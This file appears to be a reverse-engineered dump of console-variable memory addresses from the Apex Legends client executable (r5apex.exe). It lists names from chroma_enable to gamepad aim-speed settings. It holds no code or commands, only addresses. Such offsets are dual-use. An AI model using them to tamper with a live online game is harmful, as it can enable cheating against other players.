+r5apex.exe!0x0119f060 ConVar chroma_enable +r5apex.exe!0x01890560 ConVar cl_NotifyAllLevelAssetsLoaded_endframe +r5apex.exe!0x01c2f040 ConVar cl_RunClientConnectScripts_Before_ProcessOnDataChangedEvents +r5apex.exe!0x0188cba0 ConVar cl_SetupAllBones +r5apex.exe!0x018a17f0 ConVar cl_ShowBoneSetupEnts +r5apex.exe!0x01298100 ConVar cl_adjustTimeEntsPerJob +r5apex.exe!0x01c558d0 ConVar cl_aggregate_particles +r5apex.exe!0x018a4250 ConVar cl_allowABSCalculationDuringSnapshotScriptCalls +r5apex.exe!0x0189c6d0 ConVar cl_allowABSDuringSnapshotScriptCalls +r5apex.exe!0x0188ba00 ConVar cl_allowAnimsToInterpolateBackward +r5apex.exe!0x01e59a40 ConVar cl_always_draw_3p_player +r5apex.exe!0x0188d260 ConVar cl_always_ragdoll_radius +r5apex.exe!0x01c49c10 ConVar cl_anglespeedkey +r5apex.exe!0x0188dd20 ConVar cl_anim_blend_transition_dist +r5apex.exe!0x0188c200 ConVar cl_anim_detail_dist +r5apex.exe!0x0188c0c0 ConVar cl_anim_face_dist +r5apex.exe!0x0188c8c0 ConVar cl_anim_sequence_transition_full_weight_optimization +r5apex.exe!0x0188de60 ConVar cl_anim_sounds_seek +r5apex.exe!0x0188abe0 ConVar cl_approx_footstep_origin +r5apex.exe!0x01c4b930 ConVar cl_approx_tracer_origin +r5apex.exe!0x01c38a30 ConVar cl_async_bone_setup +r5apex.exe!0x01e855e0 ConVar cl_base_entity_effect_lock +r5apex.exe!0x0188b6e0 ConVar cl_bones_incremental_blend +r5apex.exe!0x0188b780 ConVar cl_bones_incremental_transform +r5apex.exe!0x0188d480 ConVar cl_bones_oldhack +r5apex.exe!0x01c8fea0 ConVar cl_bounds_show_errors +r5apex.exe!0x01c97ed0 ConVar cl_burninggibs +r5apex.exe!0x0118e620 ConVar cl_clock_correction +r5apex.exe!0x0118ca90 ConVar cl_clock_correction_ahead_correct_interval +r5apex.exe!0x0118b7f0 ConVar cl_clock_correction_behind_correct_interval +r5apex.exe!0x0118d0f0 ConVar cl_clock_correction_force_server_tick +r5apex.exe!0x01260a50 ConVar cl_cmdbackup +r5apex.exe!0x0125faf0 ConVar cl_cmdrate +r5apex.exe!0x012cc6f0 ConVar cl_configversion +r5apex.exe!0x012cc090 ConVar cl_configversion_dummy +r5apex.exe!0x01e76a60 ConVar cl_cull_weapon_fx +r5apex.exe!0x0119bc80 ConVar cl_dataBlockFragmentPL +r5apex.exe!0x01e5be20 ConVar cl_deathhints_enabled +r5apex.exe!0x01e85080 ConVar cl_debugClientEntities +r5apex.exe!0x01c9a780 ConVar cl_debug_deferred_trace +r5apex.exe!0x01c9c8a0 ConVar cl_debug_deferred_trace_overlay +r5apex.exe!0x01c49a70 ConVar cl_debug_model_fx_sounds +r5apex.exe!0x01c5a5f0 ConVar cl_decal_alwayswhite +r5apex.exe!0x01c90210 ConVar cl_decal_backoff +r5apex.exe!0x01e599a0 ConVar cl_deferred_effects +r5apex.exe!0x01c99ff0 ConVar cl_deferred_trace_normal_priority +r5apex.exe!0x018a9cf0 ConVar cl_demoviewoverride +r5apex.exe!0x0188dc80 ConVar cl_disable_ragdolls +r5apex.exe!0x0189c630 ConVar cl_disable_splitscreen_cpu_level_cfgs_in_pip +r5apex.exe!0x0119f2c0 ConVar cl_disconnectOnTooManySnapshotFrames +r5apex.exe!0x01e82510 ConVar cl_doNetworkAsserts +r5apex.exe!0x0119f220 ConVar cl_doRecreateEnts +r5apex.exe!0x0188ffe0 ConVar cl_draw_player_model +r5apex.exe!0x01c2f360 ConVar cl_drawhud +r5apex.exe!0x01ca48c0 ConVar cl_drawmonitors +r5apex.exe!0x0188cf60 ConVar cl_ejectbrass +r5apex.exe!0x01c4f150 ConVar cl_enable_remote_splitscreen +r5apex.exe!0x0119f680 ConVar cl_entCreateDeleteDebug +r5apex.exe!0x018a2890 ConVar cl_events_ignore_invalidate +r5apex.exe!0x0119ad80 ConVar cl_failremoteconnections +r5apex.exe!0x01c4b2d0 ConVar cl_fasttempentcollision +r5apex.exe!0x01e851c0 ConVar cl_flip_vis_bits +r5apex.exe!0x0119f4a0 ConVar cl_flushentitypacket +r5apex.exe!0x0188d5c0 ConVar cl_footstep_event_max_dist +r5apex.exe!0x0188cd80 ConVar cl_footstep_event_max_dist_titan +r5apex.exe!0x01297200 ConVar cl_forceAdjustTime +r5apex.exe!0x012d3e80 ConVar cl_fovScale +r5apex.exe!0x012d3de0 ConVar cl_gib_allow +r5apex.exe!0x01c2e510 ConVar cl_gib_attack_dir_scale +r5apex.exe!0x018957c0 ConVar cl_gib_lifetime +r5apex.exe!0x01c50d10 ConVar cl_idealpitchscale +r5apex.exe!0x01260f40 ConVar cl_ignorepackets +r5apex.exe!0x01e858a0 ConVar cl_interp_all +r5apex.exe!0x012970c0 ConVar cl_interpolate +r5apex.exe!0x01e853a0 ConVar cl_interpolate +r5apex.exe!0x0188b820 ConVar cl_interpolateSoAllAnimsLoop +r5apex.exe!0x01c37bb0 ConVar cl_interpolation_before_prediction +r5apex.exe!0x0119d120 ConVar cl_isUnderAge +r5apex.exe!0x012610d0 ConVar cl_is_softened_locale +r5apex.exe!0x01ca0150 ConVar cl_jiggle_bone_debug +r5apex.exe!0x01ca0010 ConVar cl_jiggle_bone_debug_pitch_constraints +r5apex.exe!0x01ca02d0 ConVar cl_jiggle_bone_debug_yaw_constraints +r5apex.exe!0x01ca00b0 ConVar cl_jiggle_bone_invert +r5apex.exe!0x01ca01f0 ConVar cl_jiggle_bone_sanity +r5apex.exe!0x01296ee0 ConVar cl_keepPersistentDataOnDisconnect +r5apex.exe!0x01c521d0 ConVar cl_lagcompensation +r5apex.exe!0x01261cf0 ConVar cl_language +r5apex.exe!0x01c380b0 ConVar cl_leafsystemvis +r5apex.exe!0x01e86ae0 ConVar cl_lerpIfChildrenLerp +r5apex.exe!0x0119bf00 ConVar cl_loadBspFromServerInfo +r5apex.exe!0x01198f30 ConVar cl_loadPostProcessShadersEarly +r5apex.exe!0x01198510 ConVar cl_loadStaticPropsInJob +r5apex.exe!0x01297f20 ConVar cl_matchmaking_timeout +r5apex.exe!0x01c47250 ConVar cl_model_fx_gib_cull_front_dist +r5apex.exe!0x01c46dd0 ConVar cl_model_fx_gib_cull_radius +r5apex.exe!0x01c49fb0 ConVar cl_mouseenable +r5apex.exe!0x01261800 ConVar cl_move_use_dt +r5apex.exe!0x0125ff10 ConVar cl_noTimeoutLocalHost +r5apex.exe!0x01261ed0 ConVar cl_overrideEventTimes +r5apex.exe!0x01e59140 ConVar cl_parallelParticlePreDrawWork +r5apex.exe!0x0188baa0 ConVar cl_parallel_clientside_animations +r5apex.exe!0x01c9f690 ConVar cl_particle_batch_mode +r5apex.exe!0x012d3c00 ConVar cl_particle_fallback_base +r5apex.exe!0x012d3f20 ConVar cl_particle_fallback_multiplier +r5apex.exe!0x01c548b0 ConVar cl_particle_limiter_display_killed +r5apex.exe!0x01e8b470 ConVar cl_particle_limiter_hide_killable +r5apex.exe!0x01c4fa80 ConVar cl_particle_limiter_max_particle_count +r5apex.exe!0x01c4fcb0 ConVar cl_particle_limiter_max_system_count +r5apex.exe!0x01c50e30 ConVar cl_particle_limiter_min_kill_distance +r5apex.exe!0x01c545d0 ConVar cl_particle_limiter_overlay +r5apex.exe!0x01c50680 ConVar cl_particle_max_count +r5apex.exe!0x01c55830 ConVar cl_particle_sim_fallback_base_multiplier +r5apex.exe!0x01c4ebb0 ConVar cl_particle_sim_fallback_threshold_ms +r5apex.exe!0x01c533f0 ConVar cl_particle_snoozetime +r5apex.exe!0x01c51130 ConVar cl_particles_show_bbox +r5apex.exe!0x01c54c50 ConVar cl_particles_show_bbox_name +r5apex.exe!0x01c51af0 ConVar cl_particles_show_controlpoints +r5apex.exe!0x01c56160 ConVar cl_pclass +r5apex.exe!0x01c53970 ConVar cl_pdump +r5apex.exe!0x01c4ecf0 ConVar cl_phys_maxticks +r5apex.exe!0x01c52090 ConVar cl_phys_show_active +r5apex.exe!0x01c525f0 ConVar cl_phys_timescale +r5apex.exe!0x01c54f30 ConVar cl_physics_invalidate_ents +r5apex.exe!0x01c55190 ConVar cl_physics_maxvelocity +r5apex.exe!0x01ca07e0 ConVar cl_physicsshadowupdate_render +r5apex.exe!0x01c4a3b0 ConVar cl_pitchspeed +r5apex.exe!0x01261640 ConVar cl_playback_screenshots +r5apex.exe!0x01892ab0 ConVar cl_player_fullupdate_predicted_origin_fix +r5apex.exe!0x01c8b150 ConVar cl_player_touch_triggers +r5apex.exe!0x0119f540 ConVar cl_postSnapshotTransitionBlockCount +r5apex.exe!0x01e861a0 ConVar cl_preSnapshotTransitionBlockCount +r5apex.exe!0x01c9f7d0 ConVar cl_pred_error_verbose +r5apex.exe!0x01c51450 ConVar cl_pred_optimize +r5apex.exe!0x01261410 ConVar cl_predict +r5apex.exe!0x01895030 ConVar cl_predict_basetoggles +r5apex.exe!0x01c4ef70 ConVar cl_predict_cmdlimit +r5apex.exe!0x01c556f0 ConVar cl_predict_error_icon_duration +r5apex.exe!0x01c50720 ConVar cl_predict_error_icon_show +r5apex.exe!0x01c53e70 ConVar cl_predict_error_icon_threshold_angle +r5apex.exe!0x01c4f500 ConVar cl_predict_error_icon_threshold_dist +r5apex.exe!0x01ca0670 ConVar cl_predict_motioncontrol +r5apex.exe!0x01c56680 ConVar cl_predict_viewangles +r5apex.exe!0x01c4f460 ConVar cl_prediction_error_timestamps +r5apex.exe!0x01c53890 ConVar cl_predictionlist +r5apex.exe!0x01c514f0 ConVar cl_predictweapons +r5apex.exe!0x01e74280 ConVar cl_prevent_weapon_text_hints +r5apex.exe!0x0188dbe0 ConVar cl_ragdoll_force_fade_time +r5apex.exe!0x0188d520 ConVar cl_ragdoll_force_fade_time_local_view_player +r5apex.exe!0x01c9efa0 ConVar cl_ragdoll_force_fade_time_on_moving_geo +r5apex.exe!0x0188d080 ConVar cl_ragdoll_force_fade_time_titan +r5apex.exe!0x012d3d40 ConVar cl_ragdoll_maxcount +r5apex.exe!0x012d3fc0 ConVar cl_ragdoll_self_collision +r5apex.exe!0x01297c20 ConVar cl_replayDelayTolerance +r5apex.exe!0x0188dfa0 ConVar cl_requireAnimForAnimEventsHdr +r5apex.exe!0x01297920 ConVar cl_resend +r5apex.exe!0x01297d60 ConVar cl_resend_timeout +r5apex.exe!0x01260720 ConVar cl_retire_low_priority_lights +r5apex.exe!0x018a6e70 ConVar cl_runWeaponCloneThinkWhenHidden +r5apex.exe!0x01e5bf00 ConVar cl_safearea +r5apex.exe!0x01260b70 ConVar cl_screenshotname +r5apex.exe!0x01c56860 ConVar cl_scriptCompileAsync +r5apex.exe!0x01c51ed0 ConVar cl_script_perf_dump_on_shutdown +r5apex.exe!0x01ca15c0 ConVar cl_shadowupdatespacing +r5apex.exe!0x018a9040 ConVar cl_showClanTags +r5apex.exe!0x01c46ef0 ConVar cl_show_splashes +r5apex.exe!0x01c4ed90 ConVar cl_showerror +r5apex.exe!0x01c4f650 ConVar cl_showerror_watchfield +r5apex.exe!0x01e818e0 ConVar cl_showfiredbullets +r5apex.exe!0x01c53c90 ConVar cl_showfps +r5apex.exe!0x01c50b50 ConVar cl_showfps_altframetime +r5apex.exe!0x01c52a70 ConVar cl_showpausedimage +r5apex.exe!0x01c4e9f0 ConVar cl_showpos +r5apex.exe!0x0119a300 ConVar cl_showsounds +r5apex.exe!0x01c513b0 ConVar cl_showtime +r5apex.exe!0x0188c960 ConVar cl_simulateAllModelsRegardless +r5apex.exe!0x01e86e20 ConVar cl_simulationtimefix +r5apex.exe!0x0188b8c0 ConVar cl_skipAnimEventsOnProps +r5apex.exe!0x01c54770 ConVar cl_skipfastpath +r5apex.exe!0x01893a00 ConVar cl_smooth +r5apex.exe!0x01893950 ConVar cl_smooth_debug +r5apex.exe!0x01894880 ConVar cl_smoothtime +r5apex.exe!0x0188b640 ConVar cl_threaded_bone_setup +r5apex.exe!0x01e862c0 ConVar cl_update_visibility_for_non_predicted_local_player_always +r5apex.exe!0x01c75e40 ConVar cl_updatedirty_async +r5apex.exe!0x018a29d0 ConVar cl_updatedirty_early +r5apex.exe!0x01261d90 ConVar cl_updaterate_mp +r5apex.exe!0x01c4a270 ConVar cl_upspeed +r5apex.exe!0x01261e30 ConVar cl_useFutureSnapForEvents +r5apex.exe!0x01297780 ConVar cl_useLobbyTypeForChatroom +r5apex.exe!0x01894260 ConVar cl_view_cone +r5apex.exe!0x01892c70 ConVar cl_view_cone_debug +r5apex.exe!0x01c384b0 ConVar cl_viewmodel_pre_animate +r5apex.exe!0x01c485f0 ConVar cl_warnAboutSoundsOnInvalidEntities +r5apex.exe!0x01c39530 ConVar cl_yawspeed +r5apex.exe!0x01194250 ConVar clampHostFrameTimeToOneTick_enable +r5apex.exe!0x0188c160 ConVar clearOnAnimChange +r5apex.exe!0x01c56720 ConVar client_deferredSnapshotScriptCalls +r5apex.exe!0x01193340 ConVar clientport +r5apex.exe!0x012de170 ConVar cloak_enabled +r5apex.exe!0x012e3c20 ConVar cloak_pilotNoiseFactor +r5apex.exe!0x012e3d60 ConVar cloak_pilotTint1 +r5apex.exe!0x012e3900 ConVar cloak_pilotTint2 +r5apex.exe!0x012e3680 ConVar cloak_pilotTint3 +r5apex.exe!0x0118d3d0 ConVar clock_bias_mp +r5apex.exe!0x0118e2f0 ConVar clock_bias_sp +r5apex.exe!0x0118d9d0 ConVar clock_showcorrections +r5apex.exe!0x0118e200 ConVar clock_showdebuginfo +r5apex.exe!0x058c4a70 ConVar closecaption +r5apex.exe!0x01ca0b20 ConVar cockpitDrift_scalePitch +r5apex.exe!0x01ca1340 ConVar cockpitDrift_scaleYaw +r5apex.exe!0x01ca2290 ConVar cockpitDrift_speedPitch +r5apex.exe!0x01ca0920 ConVar cockpitDrift_speedYaw +r5apex.exe!0x01e72c50 ConVar cockpitShake_sourceRollRange +r5apex.exe!0x01e73c00 ConVar cockpitShake_translateRange +r5apex.exe!0x01e718a0 ConVar cockpit_damage_chroma_scale +r5apex.exe!0x01e71d20 ConVar cockpit_hit_chroma_max_time +r5apex.exe!0x01e73650 ConVar cockpit_hit_chroma_scale +r5apex.exe!0x01e72e50 ConVar cockpit_pitch_down_frac +r5apex.exe!0x01e74460 ConVar cockpit_pitch_up_frac +r5apex.exe!0x01e73240 ConVar cockpit_screen_boot_chroma_scale +r5apex.exe!0x01e728b0 ConVar cockpit_screen_boot_delay_bottom +r5apex.exe!0x01e74500 ConVar cockpit_screen_boot_delay_left +r5apex.exe!0x01e716a0 ConVar cockpit_screen_boot_delay_mid +r5apex.exe!0x01e72d10 ConVar cockpit_screen_boot_delay_right +r5apex.exe!0x01e748b0 ConVar cockpit_screen_boot_delay_top +r5apex.exe!0x01298880 ConVar coll_spatial_entry_limit_client +r5apex.exe!0x01298920 ConVar coll_spatial_optimize_prefetch +r5apex.exe!0x01189100 ConVar coll_use_bolt_size +r5apex.exe!0x01c516d0 ConVar colorblind_mode +r5apex.exe!0x0129d150 ConVar communities_doRealNameLookupsForCommunityCreators +r5apex.exe!0x0129dab0 ConVar communities_enabled +r5apex.exe!0x012caf00 ConVar communities_hostname +r5apex.exe!0x0129d290 ConVar community +r5apex.exe!0x0129d3d0 ConVar community_abortCommunitySettingsTime +r5apex.exe!0x0129d6f0 ConVar community_abortUserInfoTime +r5apex.exe!0x012ca5e0 ConVar community_browse_excludeMine +r5apex.exe!0x0129c6a0 ConVar community_clantags +r5apex.exe!0x012ca0c0 ConVar community_doRealNameLookupsForInbox +r5apex.exe!0x0129da10 ConVar community_frame_run +r5apex.exe!0x012cf180 ConVar community_queryServerWhenOrphaned +r5apex.exe!0x012ca020 ConVar community_replaceInboxTokens +r5apex.exe!0x012ca9e0 ConVar community_replaceInboxTokens +r5apex.exe!0x012c9f00 ConVar community_resolveNames +r5apex.exe!0x012ca300 ConVar community_resolveNames +r5apex.exe!0x0129d650 ConVar community_send_server_voice +r5apex.exe!0x012ca3a0 ConVar community_spam +r5apex.exe!0x0129db50 ConVar community_staleCommunitySettingsTime +r5apex.exe!0x0129d470 ConVar community_staleUserInfoTime +r5apex.exe!0x012d1b10 ConVar con_logfile +r5apex.exe!0x0118d230 ConVar con_timestamp +r5apex.exe!0x012e0e90 ConVar cpu_level +r5apex.exe!0x018a8c60 ConVar cpu_level +r5apex.exe!0x01e86840 ConVar createentitydecals +r5apex.exe!0x0129bac0 ConVar crossPlay_Enabled +r5apex.exe!0x01c2d640 ConVar csm0_on_worker +r5apex.exe!0x012e0fd0 ConVar csm_cascade_res +r5apex.exe!0x018a8fa0 ConVar csm_cascade_res +r5apex.exe!0x012de2b0 ConVar csm_coverage +r5apex.exe!0x01c2f0e0 ConVar csm_culling_use_base_planes +r5apex.exe!0x018a74b0 ConVar csm_culling_use_exclusion_planes +r5apex.exe!0x01894f90 ConVar csm_culling_use_inclusion_planes +r5apex.exe!0x01c38410 ConVar csm_culling_use_planes +r5apex.exe!0x018a09e0 ConVar csm_debug_2d +r5apex.exe!0x018a3df0 ConVar csm_debug_culling +r5apex.exe!0x01c2d960 ConVar csm_debug_vis_hi_range +r5apex.exe!0x018a3a30 ConVar csm_debug_vis_lo_range +r5apex.exe!0x018a3c00 ConVar csm_depth_bias +r5apex.exe!0x01c2e970 ConVar csm_dropsequence_adjusted_coverage +r5apex.exe!0x01895280 ConVar csm_dropsequence_adjustment +r5apex.exe!0x012e0c10 ConVar csm_enabled +r5apex.exe!0x0189deb0 ConVar csm_fadeModels +r5apex.exe!0x018a08c0 ConVar csm_force_no_csm_in_reflections +r5apex.exe!0x01894ce0 ConVar csm_frustum_draw +r5apex.exe!0x01894c40 ConVar csm_frustum_draw_lock +r5apex.exe!0x01c2d500 ConVar csm_ignore_cascade12 +r5apex.exe!0x0189d0b0 ConVar csm_ignore_edge_planes +r5apex.exe!0x018a51b0 ConVar csm_ignore_face_planes +r5apex.exe!0x01c2e790 ConVar csm_max_z_offset +r5apex.exe!0x018a2d70 ConVar csm_min_z_offset +r5apex.exe!0x01895340 ConVar csm_renderable_shadows +r5apex.exe!0x01c2e830 ConVar csm_rope_shadows +r5apex.exe!0x018a27f0 ConVar csm_rot_override +r5apex.exe!0x0189cd90 ConVar csm_rot_x +r5apex.exe!0x0189fe70 ConVar csm_rot_y +r5apex.exe!0x01c2ef00 ConVar csm_shadow_split_lerp_factor_range +r5apex.exe!0x018a0f60 ConVar csm_texel_size_cascade_0 +r5apex.exe!0x018a4110 ConVar csm_texel_size_cascade_1 +r5apex.exe!0x0189d4a0 ConVar csm_texel_size_cascade_2 +r5apex.exe!0x018aa0c0 ConVar csm_texel_size_cascade_onecascade +r5apex.exe!0x0189ccf0 ConVar csm_use_env_light_direction +r5apex.exe!0x018a7410 ConVar csm_world_shadow_meshes +r5apex.exe!0x018aa200 ConVar csm_world_shadows +r5apex.exe!0x018a9f70 ConVar csm_z_cover_world +r5apex.exe!0x012ce410 ConVar curl_allowHTTPS +r5apex.exe!0x012ce5f0 ConVar curl_preloadDlls +r5apex.exe!0x012ce550 ConVar curl_spamAllQueryStates +r5apex.exe!0x0782f010 ConVar cursorWide +r5apex.exe!0x01e74110 ConVar damageIndicatorReplayTimeOffset +r5apex.exe!0x01e5bfc0 ConVar damage_indicator_style_pilot +r5apex.exe!0x01c56b20 ConVar damageinfo_defendInvalidValues +r5apex.exe!0x0188d300 ConVar debugFootstepEffects +r5apex.exe!0x0118b330 ConVar debug_debug_overlay +r5apex.exe!0x0129d970 ConVar debug_force_textRestriction +r5apex.exe!0x0129d330 ConVar debug_force_ugcRestriction +r5apex.exe!0x0129d790 ConVar debug_force_voiceRestriction +r5apex.exe!0x0118d650 ConVar debug_map_crc +r5apex.exe!0x012e6900 ConVar decal_clip_debug_draw +r5apex.exe!0x012e6820 ConVar decal_clip_debug_groups +r5apex.exe!0x01e77230 ConVar defer_weapon_effects +r5apex.exe!0x01895540 ConVar delayPostSnapshotNotificationsToAfterInterpolation +r5apex.exe!0x01297b00 ConVar demo_autoRecord +r5apex.exe!0x01297660 ConVar demo_autoRecordName +r5apex.exe!0x01e6f5e0 ConVar demo_connect_string +r5apex.exe!0x01e6f2c0 ConVar demo_ui_enable +r5apex.exe!0x0119a6c0 ConVar depth_prepass_dist_cutouts +r5apex.exe!0x0119c340 ConVar depth_prepass_dist_opaques +r5apex.exe!0x0119aec0 ConVar depth_prepass_include_opaques +r5apex.exe!0x01e5a390 ConVar devStats +r5apex.exe!0x012cd8b0 ConVar developer +r5apex.exe!0x01e73420 ConVar disable_player_use_prompts +r5apex.exe!0x01298560 ConVar discord_largeImage +r5apex.exe!0x012984c0 ConVar discord_smallImage +r5apex.exe!0x01298600 ConVar discord_updatePresence +r5apex.exe!0x0118b960 ConVar dlight_default_falloff +r5apex.exe!0x0118d770 ConVar dlight_early_clear +r5apex.exe!0x01261270 ConVar dlight_enable +r5apex.exe!0x01260190 ConVar dlight_overlay +r5apex.exe!0x01c5a690 ConVar dodge_cockpitHack +r5apex.exe!0x01c8bab0 ConVar dodge_cockpitOffsetMax +r5apex.exe!0x01c75920 ConVar dodge_cockpitTiltMax +r5apex.exe!0x01c57b30 ConVar dodge_vertical_enable +r5apex.exe!0x01c5b470 ConVar dodge_vertical_horzspeedscale +r5apex.exe!0x01c8e4f0 ConVar dodge_vertical_in_air +r5apex.exe!0x01c8f050 ConVar dodge_vertical_threshold +r5apex.exe!0x01c57770 ConVar dodge_viewTiltDecreaseSpeed +r5apex.exe!0x01c89780 ConVar dodge_viewTiltFalloffTime +r5apex.exe!0x01c57270 ConVar dodge_viewTiltIncreaseSpeed +r5apex.exe!0x01c896e0 ConVar dodge_viewTiltMax +r5apex.exe!0x01c53050 ConVar dof_enable +r5apex.exe!0x01883b50 ConVar dof_farDepthEnd +r5apex.exe!0x01883bf0 ConVar dof_farDepthStart +r5apex.exe!0x01883d30 ConVar dof_monitorFarDepthEnd +r5apex.exe!0x01883a10 ConVar dof_monitorFarDepthStart +r5apex.exe!0x018838d0 ConVar dof_monitorNearDepthEnd +r5apex.exe!0x01883ab0 ConVar dof_monitorNearDepthStart +r5apex.exe!0x01883c90 ConVar dof_nearDepthEnd +r5apex.exe!0x01883970 ConVar dof_nearDepthStart +r5apex.exe!0x01883dd0 ConVar dof_overrideParams +r5apex.exe!0x01c505e0 ConVar dof_variable_blur +r5apex.exe!0x01e84ea0 ConVar dormant_debug +r5apex.exe!0x01e71be0 ConVar draw_target_info_offscreen +r5apex.exe!0x0118b750 ConVar dtwatchclass +r5apex.exe!0x0118e870 ConVar dtwatchdecode +r5apex.exe!0x0118b030 ConVar dtwatchencode +r5apex.exe!0x0118e740 ConVar dtwatchent +r5apex.exe!0x0118b560 ConVar dtwatchvar +r5apex.exe!0x01e5ee60 ConVar dump_varsights_calculations +r5apex.exe!0x01890e00 ConVar durango_voice_chat_team_only +r5apex.exe!0x012e0df0 ConVar dvs_enable +r5apex.exe!0x018aa320 ConVar dvs_enable_in_lobby +r5apex.exe!0x012e1d70 ConVar dvs_gpuframetime_max +r5apex.exe!0x012e1eb0 ConVar dvs_gpuframetime_min +r5apex.exe!0x012e1e10 ConVar dvs_scale_min +r5apex.exe!0x011939e0 ConVar eadpAuth_hostname +r5apex.exe!0x01194b60 ConVar eadpFriends_hostname +r5apex.exe!0x012cb2e0 ConVar eadpGroups_Enabled +r5apex.exe!0x01190290 ConVar eadpGroups_hostname +r5apex.exe!0x01195de0 ConVar eadpRtm_hostname +r5apex.exe!0x01194430 ConVar eadpSearch_hostname +r5apex.exe!0x012d26c0 ConVar eadp_rtm_spam_log +r5apex.exe!0x01c56520 ConVar effect_update_array_spam +r5apex.exe!0x0119c560 ConVar enable_KVFileOverrides +r5apex.exe!0x0118c310 ConVar enable_debug_overlays +r5apex.exe!0x01c8cbe0 ConVar enable_height_based_land_anims +r5apex.exe!0x01c8ac70 ConVar enable_height_based_land_anims_titans +r5apex.exe!0x0188c820 ConVar enable_skeleton_draw +r5apex.exe!0x01197d90 ConVar encrypt_multiKey +r5apex.exe!0x01e85940 ConVar ent_lightweightEnts +r5apex.exe!0x01e84b20 ConVar ent_repack_almostFull +r5apex.exe!0x01e84f40 ConVar ent_repack_threshhold +r5apex.exe!0x01c8b2c0 ConVar entity_error_on_hitbox_count_mismatch +r5apex.exe!0x01c75420 ConVar entity_skipRedundantAddEffects +r5apex.exe!0x01296da0 ConVar entity_useNetworkFieldBuffer +r5apex.exe!0x01e85120 ConVar error_if_non_standard_ent_create +r5apex.exe!0x01e5e190 ConVar eula_version +r5apex.exe!0x01e5db20 ConVar eula_version_accepted +r5apex.exe!0x018a3430 ConVar eventseq_debug +r5apex.exe!0x01e59ae0 ConVar everything_unlocked +r5apex.exe!0x01e5bd40 ConVar fast_intro +r5apex.exe!0x01e8fa50 ConVar fatal_script_error_prompt +r5apex.exe!0x01e8f910 ConVar fatal_script_errors +r5apex.exe!0x01e8f9b0 ConVar fatal_script_errors_client +r5apex.exe!0x01e8faf0 ConVar fatal_script_errors_server +r5apex.exe!0x012d49e0 ConVar filesystem_buffer_size +r5apex.exe!0x012d4ce0 ConVar filesystem_max_stdio_read +r5apex.exe!0x012d4d80 ConVar filesystem_native +r5apex.exe!0x012d4ba0 ConVar filesystem_report_buffered_io +r5apex.exe!0x012d4b00 ConVar filesystem_unbuffered_io +r5apex.exe!0x012d4c40 ConVar filesystem_use_overlapped_io +r5apex.exe!0x01c91e40 ConVar fire_animevents_overlay_not_active +r5apex.exe!0x01e7e410 ConVar first_person_bullet_delay +r5apex.exe!0x01894ba0 ConVar first_person_proxy_blend_distance +r5apex.exe!0x01e7a5a0 ConVar first_person_proxy_debug +r5apex.exe!0x01e5d9c0 ConVar firsttime_mp_message +r5apex.exe!0x01e59900 ConVar fog_enable +r5apex.exe!0x011977f0 ConVar fog_enable_water_fog +r5apex.exe!0x01e59320 ConVar fog_enableskybox +r5apex.exe!0x01e81840 ConVar force3PLaserAttachment +r5apex.exe!0x0129d8d0 ConVar force_EAAccess +r5apex.exe!0x0119cb00 ConVar fps_max +r5apex.exe!0x0119b520 ConVar fps_max_use_refresh +r5apex.exe!0x0119bd20 ConVar fps_max_vsync +r5apex.exe!0x018906a0 ConVar freecam_swallowButtonInput +r5apex.exe!0x01c56e40 ConVar freefall_sound_autoplay_time +r5apex.exe!0x01c87b90 ConVar freefall_sound_height +r5apex.exe!0x012d0f00 ConVar friends_onlineUpdateInterval +r5apex.exe!0x012d4160 ConVar fs_intralevel_reads +r5apex.exe!0x012d4620 ConVar fs_monitor_read_from_pack +r5apex.exe!0x012d42a0 ConVar fs_report_intra_level_readopens +r5apex.exe!0x012d4730 ConVar fs_report_long_reads +r5apex.exe!0x012d4200 ConVar fs_report_sync_opens +r5apex.exe!0x012d4460 ConVar fs_report_sync_opens_callstack +r5apex.exe!0x012d4580 ConVar fs_report_sync_opens_fatal +r5apex.exe!0x012d43c0 ConVar fs_showAllReads +r5apex.exe!0x012d4e50 ConVar fs_vpk_file_open +r5apex.exe!0x012d48d0 ConVar fs_warning_mode +r5apex.exe!0x01c45120 ConVar func_break_max_pieces +r5apex.exe!0x018a9470 ConVar fx_debug +r5apex.exe!0x01e89e20 ConVar fx_deferWorldTraceConstraint +r5apex.exe!0x01c3e1d0 ConVar fx_glass_velocity_cap +r5apex.exe!0x01c555b0 ConVar fx_impact_ally +r5apex.exe!0x01c4e810 ConVar fx_impact_enemy +r5apex.exe!0x01c51810 ConVar fx_impact_neutral +r5apex.exe!0x01e8b330 ConVar fx_screenspacepass +r5apex.exe!0x01c9f9b0 ConVar g_debug_ragdoll_removal +r5apex.exe!0x0188db40 ConVar g_ragdoll_fadespeed +r5apex.exe!0x01c9f040 ConVar g_ragdoll_important_maxcount +r5apex.exe!0x0188ce20 ConVar g_ragdoll_lvfadespeed +r5apex.exe!0x01c42260 ConVar gameCursor_ModeActive +r5apex.exe!0x01c43070 ConVar gameCursor_Velocity +r5apex.exe!0x018a12f0 ConVar gamepad_ads_advanced_sensitivity_scalar_0 +r5apex.exe!0x018a1390 ConVar gamepad_ads_advanced_sensitivity_scalar_1 +r5apex.exe!0x018a1430 ConVar gamepad_ads_advanced_sensitivity_scalar_2 +r5apex.exe!0x018a14d0 ConVar gamepad_ads_advanced_sensitivity_scalar_3 +r5apex.exe!0x018a1570 ConVar gamepad_ads_advanced_sensitivity_scalar_4 +r5apex.exe!0x018a1610 ConVar gamepad_ads_advanced_sensitivity_scalar_5 +r5apex.exe!0x018a16b0 ConVar gamepad_ads_advanced_sensitivity_scalar_6 +r5apex.exe!0x018a1750 ConVar gamepad_ads_advanced_sensitivity_scalar_7 +r5apex.exe!0x018a9b10 ConVar gamepad_aim_assist_ads_high_power_scopes +r5apex.exe!0x018a6dd0 ConVar gamepad_aim_assist_ads_low_power_scopes +r5apex.exe!0x01896310 ConVar gamepad_aim_assist_hip_high_power_scopes +r5apex.exe!0x018a52d0 ConVar gamepad_aim_assist_hip_low_power_scopes +r5apex.exe!0x018ad300 ConVar gamepad_aim_assist_melee +r5apex.exe!0x018a8f00 ConVar gamepad_aim_speed +r5apex.exe!0x018a5ac0 ConVar gamepad_aim_speed_ads_0 +r5apex.exe!0x018a5b60 ConVar gamepad_aim_speed_ads_1 +r5apex.exe!0x018a5c00 ConVar gamepad_aim_speed_ads_2 +r5apex.exe!0x018a5ca0 ConVar gamepad_aim_speed_ads_3 +r5apex.exe!0x018a5d40 ConVar gamepad_aim_speed_ads_4 +r5apex.exe!0x018a5de0 ConVar gamepad_aim_speed_ads_5 +r5apex.exe!0x018a5e80 ConVar gamepad_aim_speed_ads_6 +r5apex.exe!0x018a5f20 ConVar gamepad_aim_speed_ads_7 